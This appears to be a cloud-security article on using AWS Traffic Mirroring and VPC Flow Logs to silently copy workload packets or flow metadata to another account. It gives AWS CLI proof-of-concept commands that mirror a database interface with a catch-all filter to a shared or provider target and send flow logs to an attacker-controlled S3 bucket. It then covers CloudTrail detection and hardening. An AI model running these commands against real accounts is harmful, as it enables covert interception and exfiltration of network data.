An attacker can use this telemetry to observe workload communications while the original traffic continues to its destination. Traffic Mirroring copies packet bytes, while VPC Flow Logs reveal which addresses communicate rather than what their payloads contain. Both operate in virtual private cloud (VPC) configuration, without an in-guest capture agent. Guest process and file monitoring alone therefore misses the collection setup, although control-plane events, service inventory, and mirroring metrics remain observable.[1][2][3]

Packet copies and flow records

A Traffic Mirror session binds a source elastic network interface (ENI) and filter to a target, after which AWS encapsulates matching packets with Virtual Extensible LAN (VXLAN) and sends them over UDP port 4789.[4]

Flow Logs instead aggregate IP flow fields for delivery to CloudWatch Logs, S3, or Amazon Data Firehose.[2:1]

flowchart LR
    W[Workload ENI] -->|Normal traffic| D[Expected destination]
    W -->|Packet copy| M[Traffic Mirror session]
    W -->|Flow metadata| F[VPC Flow Log]
    M --> T[External mirror target]
    F --> B[External S3 bucket]
    T --> C([Collector account])
    B --> C
    class W,D,M,F,T,B awsResource
    class C c2
Traffic Mirroring exports packet copies. Flow Logs export connection metadata without code inside the workload.
Implementation Data collected Cross-account mechanism Required delivery path
Shared Network Load Balancer target Filtered packet bytes Traffic Mirror target shared through AWS Resource Access Manager Intra-Region peering, transit gateway, or shared VPC routing
Gateway Load Balancer endpoint target Filtered packet bytes Endpoint connects to a provider-owned appliance service Gateway Load Balancer endpoint
VPC Flow Logs to S3 Aggregated flow records External bucket policy admits log delivery S3 log delivery service

Traffic Mirroring cannot decrypt Transport Layer Security (TLS), but packet copies can expose unencrypted network headers, addresses, ports, timing, visible handshake fields, and plaintext protocols. Encrypted application headers and handshake content remain encrypted.

Flow Logs reveal less: addresses, ports, protocol, packet and byte counts, action, timestamps, and optional enrichment fields, but never packet payloads.[5]

Mirroring a database interface

For approved packet inspection, a security account shares a Network Load Balancer (NLB)-backed Traffic Mirror target with several application accounts through AWS Resource Access Manager (RAM), while transit gateway routes connect their VPCs.

After gaining a network automation role in one application account, the attacker creates a broad Traffic Mirror filter for a database ENI and selects the shared target. Application traffic then reaches the collector over the existing transit gateway route.

The source application traffic continues to its normal destination, while matching packet copies travel to the collector account.

Shared Network Load Balancer targets

When a Network Load Balancer (NLB) backs the mirror target, it can distribute VXLAN traffic across multiple collectors. After the owner shares that target through RAM, another account can select it, but delivery still requires a route to the target VPC and a UDP listener on port 4789.[6][7]

Run the shared NLB target proof of concept

The collector account creates and shares the mirror target. The source account then creates a two-direction filter and attaches one source ENI.

TARGET_ID=$(AWS_PROFILE=collector aws ec2 create-traffic-mirror-target \
  --network-load-balancer-arn "$NLB_ARN" \
  --description shared-packet-collector \
  --query 'TrafficMirrorTarget.TrafficMirrorTargetId' --output text)

TARGET_ARN=$(AWS_PROFILE=collector aws ec2 describe-traffic-mirror-targets \
  --traffic-mirror-target-ids "$TARGET_ID" \
  --query 'TrafficMirrorTargets[0].TrafficMirrorTargetArn' --output text)

AWS_PROFILE=collector aws ram create-resource-share \
  --name shared-packet-collector \
  --resource-arns "$TARGET_ARN" \
  --principals "$SOURCE_ACCOUNT_ID"

FILTER_ID=$(AWS_PROFILE=source aws ec2 create-traffic-mirror-filter \
  --description broad-packet-filter \
  --query 'TrafficMirrorFilter.TrafficMirrorFilterId' --output text)

for direction in ingress egress; do
  AWS_PROFILE=source aws ec2 create-traffic-mirror-filter-rule \
    --traffic-mirror-filter-id "$FILTER_ID" \
    --traffic-direction "$direction" \
    --rule-number 100 \
    --rule-action accept \
    --source-cidr-block 0.0.0.0/0 \
    --destination-cidr-block 0.0.0.0/0
done

AWS_PROFILE=source aws ec2 create-traffic-mirror-session \
  --network-interface-id "$SOURCE_ENI_ID" \
  --traffic-mirror-target-id "$TARGET_ID" \
  --traffic-mirror-filter-id "$FILTER_ID" \
  --session-number 1 \
  --packet-length 256

The session copies the first 256 bytes of matching ingress and egress packets. Production traffic takes priority if the source instance reaches its bandwidth or packet-per-second limit, so mirrored packets may be dropped under load.[8]

Gateway Load Balancer endpoint targets

A Gateway Load Balancer endpoint provides another packet path by connecting a consumer VPC to appliances behind a Gateway Load Balancer in a provider account. Once the consumer selects that endpoint as the Traffic Mirror target, the endpoint service relationship carries the copies to the provider.[4:1]

Run the Gateway Load Balancer endpoint proof of concept

This example assumes the provider has exposed a Gateway Load Balancer endpoint service and will accept the endpoint connection when acceptance is required.

ENDPOINT_ID=$(aws ec2 create-vpc-endpoint \
  --vpc-endpoint-type GatewayLoadBalancer \
  --service-name "$GWLB_SERVICE_NAME" \
  --vpc-id "$SOURCE_VPC_ID" \
  --subnet-ids "$ENDPOINT_SUBNET_ID" \
  --query 'VpcEndpoint.VpcEndpointId' --output text)

aws ec2 wait vpc-endpoint-available \
  --vpc-endpoint-ids "$ENDPOINT_ID"

TARGET_ID=$(aws ec2 create-traffic-mirror-target \
  --gateway-load-balancer-endpoint-id "$ENDPOINT_ID" \
  --description provider-appliance-target \
  --query 'TrafficMirrorTarget.TrafficMirrorTargetId' --output text)

FILTER_ID=$(aws ec2 create-traffic-mirror-filter \
  --description provider-appliance-filter \
  --query 'TrafficMirrorFilter.TrafficMirrorFilterId' --output text)

aws ec2 create-traffic-mirror-filter-rule \
  --traffic-mirror-filter-id "$FILTER_ID" \
  --traffic-direction egress \
  --rule-number 100 \
  --rule-action accept \
  --source-cidr-block 0.0.0.0/0 \
  --destination-cidr-block 0.0.0.0/0

aws ec2 create-traffic-mirror-session \
  --network-interface-id "$SOURCE_ENI_ID" \
  --traffic-mirror-target-id "$TARGET_ID" \
  --traffic-mirror-filter-id "$FILTER_ID" \
  --session-number 1

Omitting --packet-length requests full packet copies within the target’s maximum transmission unit limits, so the provider’s appliances must understand VXLAN-encapsulated traffic.

VPC Flow Logs to an external S3 bucket

VPC Flow Logs provide a lower-fidelity path when connection metadata is sufficient. To export those records, an attacker-controlled S3 bucket in another account first grants write access to the log delivery service for the victim account, after which a flow log in the victim account can send ENI, subnet, or VPC records to that bucket.[9]

Run the cross-account Flow Logs proof of concept

Because the external bucket policy allows delivery.logs.amazonaws.com to call s3:PutObject for the victim account’s log prefix and s3:GetBucketAcl on the bucket, the victim-account call needs no delivery role for the S3 destination.

aws ec2 create-flow-logs \
  --resource-type NetworkInterface \
  --resource-ids "$SOURCE_ENI_ID" \
  --traffic-type ALL \
  --log-destination-type s3 \
  --log-destination "$EXTERNAL_BUCKET_ARN/vpc-observation/" \
  --max-aggregation-interval 60 \
  --log-format '${version} ${account-id} ${interface-id} ${srcaddr} ${dstaddr} ${srcport} ${dstport} ${protocol} ${packets} ${bytes} ${start} ${end} ${action} ${log-status}'

Although S3 delivery is typically delayed by several minutes and remains best effort, the resulting records still identify communication patterns and volumes without exposing application payload.[5:1]

Coverage limits

Traffic Mirroring excludes several infrastructure protocols: Address Resolution Protocol, Dynamic Host Configuration Protocol, the Instance Metadata Service, Network Time Protocol, and Windows activation traffic. It also does not support IPv6-only subnets.[8:1]

Flow Logs have independent exclusions, including Amazon-provided DNS, metadata, time service, DHCP, ARP, Windows activation, and endpoint-ENI-to-NLB-ENI traffic. For mirrored traffic, AWS’s Flow Logs guide excludes source-side mirrored traffic but says target-side mirrored traffic is visible. The Traffic Mirroring guide instead states broadly that Flow Logs do not capture mirrored traffic. Do not assume universal invisibility or guaranteed target-side coverage: retain available target-side evidence and establish coverage for the relevant source and target before relying on it.[10][8:2]

A successful CreateTrafficMirrorSession response establishes only the configured relationship, not packet delivery. Source-side NetworkMirrorIn and NetworkMirrorOut metrics indicate copying, while the corresponding skip metrics indicate drops; neither proves receipt by the remote collector. Target configuration can fail silently, including an NLB target whose required listener has been removed.[3:1][4:2]

Finding the export path

For each new mirror session or Flow Log, identify the source and destination owner first. Then resolve the filter and delivery path to confirm whether routing, target configuration, or service delivery can carry data out of the source VPC.

Event source Event name Detection value
ec2.amazonaws.com CreateTrafficMirrorTarget, CreateTrafficMirrorFilter, CreateTrafficMirrorFilterRule, ModifyTrafficMirrorFilter, ModifyTrafficMirrorFilterRule, DeleteTrafficMirrorFilterRule Requests target or filter changes that can alter collection scope for associated sessions.
ec2.amazonaws.com CreateTrafficMirrorSession, ModifyTrafficMirrorSession, DeleteTrafficMirrorSession Requests attachment, redirection, modification, or removal of packet collection.
ec2.amazonaws.com CreateVpcEndpoint Requests an endpoint; resolve its type and completed state to identify a Gateway Load Balancer path.
ram.amazonaws.com CreateResourceShare, AcceptResourceShareInvitation Identifies sharing changes to reconcile with current target availability.
ec2.amazonaws.com CreateFlowLogs, DeleteFlowLogs Requests creation or deletion of metadata collection; results and delivery state require separate checks.

The request fragment below attributes a proposed source ENI, filter, and target relationship; it does not establish successful creation.[11] EC2 management events cover these API actions.[12]

{
  "eventSource": "ec2.amazonaws.com",
  "eventName": "CreateTrafficMirrorSession",
  "userIdentity": {
    "arn": "<source-account identity ARN>"
  },
  "requestParameters": {
    "CreateTrafficMirrorSessionRequest": {
      "NetworkInterfaceId": "<source ENI>",
      "TrafficMirrorFilterId": "<filter ID>",
      "TrafficMirrorTargetId": "<target ID>",
      "SessionNumber": 1
    }
  }
}

For a Traffic Mirror session request with no errorCode, confirm the created session in the response or current inventory, then resolve the target owner and backing NLB, network interface, or Gateway Load Balancer endpoint. Expand the filter and assess the delivery path. Record configured external collection separately from observed source copying and collector receipt.[13][3:2]

For Flow Logs, resolve the raw paths requestParameters.CreateFlowLogsRequest.LogDestination and requestParameters.CreateFlowLogsRequest.LogDestinationType from CreateFlowLogs.[14] Check the per-resource unsuccessful results as well as the created flow log IDs; a successful top-level request can include creation failures.[15] Alert on confirmed configuration of a sensitive resource to an unapproved S3 bucket or Data Firehose stream, without calling it observed export. Inventory separates flowLogStatus from deliverLogsStatus; an active flow log alone does not establish successful delivery. Delivery status supports service delivery, while records observed at the destination establish exported metadata. No records may simply mean no active traffic.[16][10:1]

Review the relationship in three parts:

  • Destination ownership. Compare target owners, target IDs, endpoint services, and log destinations with approved monitoring accounts and the organization’s logging boundary. An external owner or unapproved endpoint service warrants review.
  • Collection scope. Compare source ENIs, filters, and packet lengths with approved configurations. Broad filters or sensitive source ENIs deserve attention; workload sensitivity and collection volume help assess the finding.
  • Continued approval. Re-evaluate after session changes and filter or filter-rule creation, modification, or deletion, resolving the affected sessions through inventory.[17] Continue tracking destination ownership and delivery state throughout each object’s lifetime. Correlate by resource identity and event time, tolerate late or out-of-order events, and reconcile against current inventory rather than closing findings after a fixed event window.

Constraining VPC telemetry

  • Reserve Traffic Mirror target, filter, session, and Flow Log administration for dedicated network-monitoring automation.
  • Scope ec2:CreateTrafficMirrorSession to approved source ENIs, filters, and targets. Deny unapproved identities permission to modify existing sessions.
  • Accept shared Traffic Mirror targets and Gateway Load Balancer endpoint services only from designated security accounts.
  • Restrict unapproved Flow Log creation and destination selection through source-side administration controls. For buckets the organization owns, use approved-source delivery policies with aws:SourceAccount and aws:SourceArn protections. These conditions constrain whose logs the bucket accepts, not whether a destination is approved; the source account does not control an external bucket owner’s policy.[9:1]
  • Remove unapproved existing mirror sessions and Flow Logs, then reconcile current inventory and delivery evidence. Restricting future administration does not terminate existing collection. Flow Logs can take several minutes to stop collecting after deletion, and deletion does not remove data already delivered. Account for residual delivery and treat already-delivered records or packet copies as retained exposure, not recalled data.[18]
  • Reconcile active sessions, target owners, endpoint services, filters and rules, RAM shares, routes, and Flow Log destinations in every Region.
  • Use authenticated encryption for workload protocols. Mirrored packets still expose addresses, ports, and timing; encrypted application content remains protected.

References


  1. Amazon VPC Traffic Mirroring Guide, What is Traffic Mirroring?. ↩︎

  2. Amazon VPC User Guide, Logging IP traffic with VPC Flow Logs. ↩︎ ↩︎

  3. Amazon VPC Traffic Mirroring Guide, Monitor mirrored traffic using Amazon CloudWatch. ↩︎ ↩︎ ↩︎

  4. Amazon VPC Traffic Mirroring Guide, Traffic Mirror targets. ↩︎ ↩︎ ↩︎

  5. Amazon VPC User Guide, Flow log records. ↩︎ ↩︎

  6. Amazon VPC Traffic Mirroring Guide, Share a Traffic Mirror target. ↩︎

  7. Amazon VPC Traffic Mirroring Guide, Source and target connectivity. ↩︎

  8. Amazon VPC Traffic Mirroring Guide, Traffic Mirroring limitations. ↩︎ ↩︎ ↩︎

  9. Amazon VPC User Guide, S3 bucket permissions for Flow Logs. ↩︎ ↩︎

  10. Amazon VPC User Guide, Flow log limitations. ↩︎ ↩︎

  11. detection.wiki, Amazon EC2 CloudTrail event catalog: CreateTrafficMirrorSession. ↩︎

  12. Amazon EC2 User Guide, Log Amazon EC2 API calls using AWS CloudTrail. ↩︎

  13. Amazon EC2 API Reference, CreateTrafficMirrorSession. ↩︎

  14. detection.wiki, Amazon EC2 CloudTrail event catalog: CreateFlowLogs. ↩︎

  15. Amazon EC2 API Reference, CreateFlowLogs. ↩︎

  16. Amazon EC2 API Reference, FlowLog. ↩︎

  17. Amazon EC2 API Reference, ModifyTrafficMirrorFilterRule. ↩︎

  18. Amazon VPC User Guide, Delete a flow log. ↩︎